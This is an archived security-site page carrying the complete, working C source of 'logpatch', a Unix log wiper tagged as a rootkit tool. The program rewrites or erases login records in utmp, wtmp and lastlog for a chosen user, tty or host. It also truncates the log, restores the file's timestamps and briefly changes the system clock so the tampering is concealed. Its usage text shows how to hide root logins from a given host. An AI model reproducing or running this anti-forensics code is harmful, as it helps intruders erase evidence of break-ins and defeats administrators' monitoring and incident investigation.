what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

logpatch-11.c

logpatch-11.c
Posted Jul 6, 2002
Authored by Ighighi

Logpatch v1.0 surgically patches utmp/utmpx, wtmp/wtmpx & lastlog. Very portable, a high quality tool. It preserves the file's times and truncates entries at the end of the file.

Changes: Fixed a bug when truncating consecutive entries in wtmp[x].
tags | tool, rootkit
systems | unix
SHA-256 | 569a4970dcf7bec3c50169994946021171e8677e2e40ec809817df2a0e3718cb

logpatch-11.c

Change Mirror Download

/*
* logpatch v1.1
* Surgically patch utmp/utmpx, wtmp/wtmpx & lastlog
* The best Unix log wiper available. Very portable.
* It preserves the file's times and truncates entries
* at the end of the file.
*
* (!c) 2001, 2002 by Ighighi
* Venezuela
*
* Compilation:
* cc [-DHAVE_UTMPX_H] -o logpatch logpatch.c
*
* DISCLAIMER:
* USE AT YOUR OWN RISK. I AM NOT RESPONSIBLE FOR ANYTHING.
*
* Notes:
* Copyrighted under the BSD license.
* Built and tested on Linux 2.0.36, Linux 2.2.13 and Linux 2.4.7
*
* Changelog:
* 1.1:
* Fixed a bug when truncating consecutive entries in wtmp[x]
*/

/* #define HAVE_UTMPX_H 1 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <pwd.h>

#include <sys/time.h>
#include <time.h>

#include <utmp.h>

/* XXX */
#ifdef DEAD_PROCESS
#define HAVE_UT_TYPE 1
#else
#define HAVE_UT_TYPE 0
#endif
#ifdef UT_HOSTSIZE
#define HAVE_UT_HOST 1
#else
#define HAVE_UT_HOST 0
#endif
#if defined(ut_time) || defined(ut_xtime)
#define HAVE_UT_TV 1
#else
#define HAVE_UT_TV 0
#endif

/* #include <paths.h> */

#ifndef UTMP_FILE
#if defined(_PATH_UTMP)
#define UTMP_FILE _PATH_UTMP
#elif defined(UTMP_FILENAME)
#define UTMP_FILE UTMP_FILENAME
#else
#define UTMP_FILE "/var/run/utmp"
/* #define UTMP_FILE "/var/adm/utmp" */
/* #define UTMP_FILE "/usr/adm/utmp" */
/* #define UTMP_FILE "/etc/utmp" */
#endif
#endif /* UTMP_FILE */

#ifndef WTMP_FILE
#if defined(_PATH_WTMP)
#define WTMP_FILE _PATH_WTMP
#elif defined(WTMP_FILENAME)
#define WTMP_FILE WTMP_FILENAME
#else
#define WTMP_FILE "/var/log/wtmp"
/* #define WTMP_FILE "/var/adm/wtmp" */
/* #define WTMP_FILE "/usr/adm/wtmp" */
/* #define WTMP_FILE "/etc/wtmp" */
#endif
#endif /* WTMP_FILE */

#ifdef HAVE_UTMPX_H

#ifndef __USE_GNU /* XXX - hack to get utmpx paths on GNU libc */
#define __USE_GNU 1
#endif
#include <utmpx.h>

#ifndef UTMPX_FILE
#if defined(_PATH_UTMPX)
#define UTMPX_FILE _PATH_UTMPX
#elif defined(UTMPX_FILENAME)
#define UTMPX_FILE UTMPX_FILENAME
#else
#define UTMPX_FILE "/var/run/utmpx"
/* #define UTMPX_FILE "/var/adm/utmpx" */
/* #define UTMPX_FILE "/usr/adm/utmpx" */
/* #define UTMPX_FILE "/etc/utmpx" */
#endif
#endif /* UTMPX_FILE */

#ifndef WTMPX_FILE
#if defined(_PATH_WTMPX)
#define WTMPX_FILE _PATH_WTMPX
#elif defined(_WTMPX_FILENAME)
#define WTMPX_FILE WTMPX_FILENAME
#else
#define WTMPX_FILE "/var/log/wtmpx"
/* #define WTMPX_FILE "/var/adm/wtmpx" */
/* #define WTMPX_FILE "/usr/adm/wtmpx" */
/* #define WTMPX_FILE "/etc/wtmpx" */
#endif
#endif /* WTMPX_FILE */

#endif /* HAVE_UTMPX_H */

#include <lastlog.h>

#ifndef LASTLOG_FILE
#if defined(_PATH_LASTLOG)
#define LASTLOG_FILE _PATH_LASTLOG
#elif defined(LASTLOG_FILENAME)
#define LASTLOG_FILE LASTLOG_FILENAME
#else
#define LASTLOG_FILE "/var/log/lastlog"
/* #define LASTLOG_FILE "/var/adm/lastlog" */
/* #define LASTLOG_FILE "/usr/adm/lastlog" */
/* #define LASTLOG_FILE "/etc/lastlog" */
#endif
#endif /* LASTLOG_FILE */

/*
* Global variables
*/
static char *user = NULL, *new_user = NULL;
static char *line = NULL, *new_line = NULL;
static char *host = NULL, *new_host = NULL;
static struct timeval new_time = { 0, 0 };
static int nentries = 0;
static int truncate_it = 0;

/* converts from "YYYY:MM:DD:hh:mm:ss:uuuuuu" to struct timeval */
static void str2timeval(const char *s, struct timeval *tvp)
{
struct tm tm;
#define DELIM ':'

if (! tvp) return;

memset(&tm, 0, sizeof(tm));
if (s) {
tm.tm_year = atoi(s) - 1900;
if ( (s = strchr(s, DELIM))) {
tm.tm_mon = atoi(++s) - 1;
if ( (s = strchr(s, DELIM))) {
tm.tm_mday = atoi(++s);
if ( (s = strchr(s, DELIM))) {
tm.tm_hour = atoi(++s);
if ( (s = strchr(s, DELIM))) {
tm.tm_min = atoi(++s);
if ( (s = strchr(s, DELIM))) {
tm.tm_sec = atoi(++s);
if ( (s = strchr(s, DELIM))) {
tvp->tv_usec = atoi(++s);
}
}
}
}
}
}
}
tvp->tv_sec = mktime(&tm);

return;
}

#define patch_user(user) \
strncpy((user), new_user ? new_user : "", sizeof((user)))
#define patch_line(line) \
strncpy((line), new_line ? new_line : "", sizeof((line)))
#define patch_host(host) \
strncpy((host), new_host ? new_host : "", sizeof((host)))
#define patch_time(time, newtime) \
memcpy(&(time), &(newtime), sizeof((time)))

static void lastlog_zap(int fd)
{
struct lastlog ll;
struct passwd *pw;
int n;

if (!user || !(pw = getpwnam(user))) {
fprintf(stderr, "ERROR: unknown user\n");
return;
}

memset(&ll, 0, sizeof(ll));
patch_host(ll.ll_host);
patch_line(ll.ll_line);
patch_time(ll.ll_time, new_time);

printf("Reading... ");
if (lseek(fd, (long) (sizeof(ll) * pw->pw_uid), SEEK_SET) < 0) {
perror("ERROR: lseek()");
return;
}

if ( (n = write(fd, &ll, sizeof(ll))) != sizeof(ll)) {
if (n < 0) {
perror("ERROR: write()");
}
else {
fprintf(stderr, "ERROR: write(): Truncated write\n");
}
return;
}
printf("patched ");

return;
}

#if HAVE_UT_TV
#define UT_TIME ut_tv
#else
#define UT_TIME ut_time
#endif

static void utmp_zap(int fd)
{
struct utmp ut;
struct timeval prev_time = { 0, 0 };
int n;

if (!user || !nentries) {
return;
}

printf("Reading... ");
while ( (n = read(fd, &ut, sizeof(ut))) == sizeof(ut)) {
if ((!user || !*user || !strcmp(ut.ut_name, user)) &&
#if HAVE_UT_HOST
(!host || !*host || !strcmp(ut.ut_host, host)) &&
#endif
(!line || !*line || !strcmp(ut.ut_line, line))) {

if (lseek(fd, (long) -sizeof(ut), SEEK_CUR) < 0) {
perror("ERROR: lseek()");
return;
}

memset(&ut, 0, sizeof(ut));
if (new_time.tv_sec || new_time.tv_usec)
patch_time(ut.UT_TIME, new_time);
else
patch_time(ut.UT_TIME, prev_time);
patch_user(ut.ut_name);
patch_line(ut.ut_line);
#if HAVE_UT_HOST
patch_host(ut.ut_host);
#endif
#if HAVE_UT_TYPE
ut.ut_type = DEAD_PROCESS;
#endif

if ( (n = write(fd, &ut, sizeof(ut))) != sizeof(ut)) {
if (n < 0) {
perror("ERROR: write()");
}
else {
fprintf(stderr, "ERROR: write(): Truncated write\n");
}
return;
}
printf("patched ");

if (! --nentries) {
return;
}
}
else {
/* record previous time */
memcpy(&prev_time, &ut.UT_TIME, sizeof(ut.UT_TIME));
}
}
if (n) {
if (n < 0) {
perror("ERROR: read()");
}
else {
fprintf(stderr, "ERROR: read(): Truncated read\n");
}
return;
}

return;
}

static void wtmp_zap(int fd)
{
struct utmp ut;
struct timeval prev_time = { 0, 0 };
int n;
long lastpos, currpos;

if (!user || !nentries) {
return;
}

printf("Reading... ");
/* seek to the last entry... */
if ( (lastpos = lseek(fd, (long) -sizeof(ut), SEEK_END)) < 0) {
perror("ERROR: lseek()");
return;
}
/* ...and read the way up */
while ( (n = read(fd, &ut, sizeof(ut))) == sizeof(ut)) {
if ((!user || !*user || !strcmp(ut.ut_name, user)) &&
#if HAVE_UT_HOST
(!host || !*host || !strcmp(ut.ut_host, host)) &&
#endif
(!line || !*line || !strcmp(ut.ut_line, line))) {

if ( (currpos = lseek(fd, (long) -sizeof(ut), SEEK_CUR)) < 0) {
perror("ERROR: lseek()");
return;
}

memset(&ut, 0, sizeof(ut));
if (new_time.tv_sec || new_time.tv_usec)
patch_time(ut.UT_TIME, new_time);
else
patch_time(ut.UT_TIME, prev_time);
patch_user(ut.ut_name);
patch_line(ut.ut_line);
#if HAVE_UT_HOST
patch_host(ut.ut_host);
#endif
#if HAVE_UT_TYPE
ut.ut_type = DEAD_PROCESS;
#endif

if ( (n = write(fd, &ut, sizeof(ut))) != sizeof(ut)) {
if (n < 0) {
perror("ERROR: write()");
}
else {
fprintf(stderr, "ERROR: write(): Truncated write\n");
}
return;
}
printf("patched ");

if (truncate_it) {
/* truncate if we are at the end of the file */
if (currpos == lastpos) {
if (ftruncate(fd, currpos) < 0) {
perror("ERROR: ftruncate()");
return;
}
printf("truncated ");
lastpos -= sizeof(ut);
}
}

if (! --nentries) {
return;
}
}
else {
/* record previous time */
memcpy(&prev_time, &ut.UT_TIME, sizeof(ut.UT_TIME));
}
/* seek to the entry up... */
if (lseek(fd, (long) -(sizeof(ut) * 2), SEEK_CUR) < 0) {
/* finished reading... */
return;
}
}
if (n < 0) {
perror("ERROR: read()");
}
else {
fprintf(stderr, "ERROR: read(): Truncated read: %d\n", n);
}

return;
}

#ifdef HAVE_UTMPX_H

static void utmpx_zap(int fd)
{
struct utmpx ut;
struct timeval prev_time = { 0, 0 };
int n;

if (!user || !nentries) {
return;
}

printf("Reading... ");
while ( (n = read(fd, &ut, sizeof(ut))) == sizeof(ut)) {
if ((!user || !*user || !strcmp(ut.ut_user, user)) &&
(!host || !*host || !strcmp(ut.ut_host, host)) &&
(!line || !*line || !strcmp(ut.ut_line, line))) {

if (lseek(fd, (long) -sizeof(ut), SEEK_CUR) < 0) {
perror("ERROR: lseek()");
return;
}

memset(&ut, 0, sizeof(ut));
if (new_time.tv_sec || new_time.tv_usec)
patch_time(ut.ut_tv, new_time);
else
patch_time(ut.ut_tv, prev_time);
patch_user(ut.ut_user);
patch_line(ut.ut_line);
patch_host(ut.ut_host);
#ifdef DEAD_PROCESS
ut.ut_type = DEAD_PROCESS;
#endif

if ( (n = write(fd, &ut, sizeof(ut))) != sizeof(ut)) {
if (n < 0) {
perror("ERROR: write()");
}
else {
fprintf(stderr, "ERROR: write(): Truncated write\n");
}
return;
}
printf("patched ");

if (! --nentries) {
return;
}
}
else {
/* record previous time */
memcpy(&prev_time, &ut.ut_tv, sizeof(ut.ut_tv));
}
}
if (n) {
if (n < 0) {
perror("ERROR: read()");
}
else {
fprintf(stderr, "ERROR: read(): Truncated read\n");
}
}

return;
}

static void wtmpx_zap(int fd)
{
struct utmpx ut;
struct timeval prev_time = { 0, 0 };
int n;
long lastpos, currpos;

if (!user || !nentries) {
return;
}

printf("Reading... ");
/* seek to the last entry... */
if ( (lastpos = lseek(fd, (long) -sizeof(ut), SEEK_END)) < 0) {
perror("ERROR: lseek()");
return;
}
/* ...and read the way up */
while ( (n = read(fd, &ut, sizeof(ut))) == sizeof(ut)) {
if ((!user || !*user || !strcmp(ut.ut_user, user)) &&
(!host || !*host || !strcmp(ut.ut_host, host)) &&
(!line || !*line || !strcmp(ut.ut_line, line))) {

if ( (currpos = lseek(fd, (long) -sizeof(ut), SEEK_CUR)) < 0) {
perror("ERROR: lseek()");
return;
}

memset(&ut, 0, sizeof(ut));
if (new_time.tv_sec || new_time.tv_usec)
patch_time(ut.ut_tv, new_time);
else
patch_time(ut.ut_tv, prev_time);
patch_user(ut.ut_user);
patch_line(ut.ut_line);
patch_host(ut.ut_host);
#ifdef DEAD_PROCESS
ut.ut_type = DEAD_PROCESS;
#endif

if ( (n = write(fd, &ut, sizeof(ut))) != sizeof(ut)) {
if (n < 0) {
perror("ERROR: write()");
}
else {
fprintf(stderr, "ERROR: write(): Truncated write\n");
}
return;
}
printf("patched ");

if (truncate_it) {
/* truncate if we are at the end of the file */
if (currpos == lastpos) {
if (ftruncate(fd, lastpos) < 0) {
perror("ERROR: ftruncate()");
return;
}
printf("truncated ");
lastpos -= sizeof(ut);
}
}

if (! --nentries) {
return;
}
}
else {
/* record previous time */
memcpy(&prev_time, &ut.ut_tv, sizeof(ut.ut_tv));
}
/* seek to the entry up... */
if (lseek(fd, (long) -(sizeof(ut) * 2), SEEK_CUR) < 0) {
/* finished reading... */
return;
}
}
if (n < 0) {
perror("ERROR: read()");
}
else {
fprintf(stderr, "ERROR: read(): Truncated read\n");
}

return;
}

#endif /* HAVE_UTMPX_H */

static int exit_usage(int status)
{
FILE *fp;

if (status) fp = stderr;
else fp = stdout;

fprintf(fp, "logpatch v1.0 by Ighighi \n");
fprintf(fp, "Usage: logzap mode options \n");
fprintf(fp, " mode: \n");
fprintf(fp, " u[x] -- utmp/utmpx \n");
fprintf(fp, " w[x] -- wtmp/wtmpx \n");
fprintf(fp, " l -- lastlog \n");
fprintf(fp, " options: \n");
fprintf(fp, " -u [user][:new_user] \n");
fprintf(fp, " Patch/wipe entries with user `user'. `new_user' ignored in lastlog mode \n");
fprintf(fp, " [-l [tty][:new_tty]] \n");
fprintf(fp, " Patch/wipe entries with tty `tty'. Ignored in lastlog mode \n");
fprintf(fp, " [-h [host][:new_host]] \n");
fprintf(fp, " Patch/wipe entries with host `host'. \n");
fprintf(fp, " [-d YYYY[:MM[:DD[:hh[:mm[:ss[:uuuuuu]]]]]]] \n");
fprintf(fp, " Patch entry's time (with microsecond resolution) \n");
fprintf(fp, " Default: previous entry's time (u[x]), next's (w[x]), zero (l) \n");
fprintf(fp, " [-f file] \n");
fprintf(fp, " Specify the file to use instead of the default \n");
fprintf(fp, " [-n nentries] Only u[x] & w[x] \n");
fprintf(fp, " u[x]: Process the first n entries. Def: -1 (all entries) \n");
fprintf(fp, " w[x]: Process the last n entries. Def: 1 (last entry) \n");
fprintf(fp, " [-t] Truncate entries at EOF. Only w[x] \n");
fprintf(fp, " example: hide all root entries from www.microsoft.com in wtmpx \n");
fprintf(fp, " ./logpatch wx -u root -h www.microsoft.com -n -1 -t \n");

exit(status);
}

int main(int argc, char *argv[])
{
char *file = NULL;
int fd;
int i;
char mode, submode;
struct stat inode;
#define ATIME 0
#define MTIME 1
#define CTIME 2
struct timeval tv[3], curr_tv;

setbuf(stdout, NULL);
setbuf(stderr, NULL);

if (argc < 2) exit_usage(1);

mode = argv[1][0];
if (mode) submode = argv[1][1];

switch (mode) {
case 'u': /* UTMP/X */
nentries = -1; /* all entries... */
#ifdef HAVE_UTMPX_H
if (submode == 'x')
file = UTMPX_FILE;
else
#endif
file = UTMP_FILE;
break;
case 'w': /* WTMP/X */
nentries = 1; /* last entry... */
#ifdef HAVE_UTMPX_H
if (submode == 'x')
file = WTMPX_FILE;
else
#endif
file = WTMP_FILE;
break;
case 'l': /* LASTLOG */
file = LASTLOG_FILE;
break;
default:
exit_usage(1);
}

for (i = 2; i < argc; i++) {
if (argv[i][0] == '-') {
switch (argv[i][1]) {
case 'u': /* user */
if (! (user = argv[++i])) exit_usage(1);
new_user = strchr(user, DELIM);
if (new_user) *new_user++ = '\0';
break;
case 'l': /* line */
if (! (line = argv[++i])) exit_usage(1);
new_line = strchr(line, DELIM);
if (new_line) *new_line++ = '\0';
break;
case 'h': /* host */
if (! (host = argv[++i])) exit_usage(1);
new_host = strchr(host, DELIM);
if (new_host) *new_host++ = '\0';
break;
case 'd': /* time */
if (! argv[++i]) exit_usage(1);
str2timeval(argv[i], &new_time);
break;
case 'f': /* file */
if (! (file = argv[++i])) exit_usage(1);
break;
case 'n': /* nentries */
if (! argv[++i]) exit_usage(1);
nentries = atoi(argv[i]);
break;
case 't': /* truncate */
truncate_it = 1;
break;
default:
exit_usage(1);
}
}
else {
exit_usage(1);
}
}

printf("Opening %s ...\n", file);

/* save file times */
if (stat(file, &inode) < 0) {
perror("ERROR: stat()");
exit(1);
}

if ( (fd = open(file, O_RDWR)) < 0) {
perror("ERROR: open()");
exit(1);
}

switch (mode) {
case 'u': /* UTMP/X */
#ifdef HAVE_UTMPX_H
if (submode == 'x')
utmpx_zap(fd);
else
#endif
utmp_zap(fd);
break;
case 'w': /* WTMP/X */
#ifdef HAVE_UTMPX_H
if (submode == 'x')
wtmpx_zap(fd);
else
#endif
wtmp_zap(fd);
break;
case 'l': /* LASTLOG */
lastlog_zap(fd);
break;
default :
exit_usage(1);
}

printf("ok.\n");

if (close(fd) < 0) {
perror("ERROR: close()");
exit(1);
}

/*
* Restore file times
*/
memset(&tv, 0, sizeof(tv));
/* st_[amc]time may be either struct timespec or time_t
* the first member of struct timespec is tv_sec
*/
memcpy(&tv[ATIME], &inode.st_atime, sizeof(inode.st_atime));
tv[ATIME].tv_usec /= 1000; /* nanosecs to microsecs */
memcpy(&tv[MTIME], &inode.st_mtime, sizeof(inode.st_mtime));
tv[MTIME].tv_usec /= 1000;
memcpy(&tv[CTIME], &inode.st_ctime, sizeof(inode.st_ctime));
tv[CTIME].tv_usec /= 1000;
/* Save current time */
if (gettimeofday(&curr_tv, NULL) < 0) {
perror("ERROR: gettimeofday()");
}
/* Patch st_ctime. This is actually done as consequence of utimes() */
if (settimeofday(&tv[CTIME], NULL) < 0) {
perror("ERROR: settimeofday(ctime)");
}
/* Patch st_atime & st_mtime */
if (utimes(file, tv) < 0) {
perror("ERROR: utimes()");
}
/* Restore system time */
if (settimeofday(&curr_tv, NULL) < 0) {
perror("ERROR: settimeofday(curr_tv)");
exit(1);
}

exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close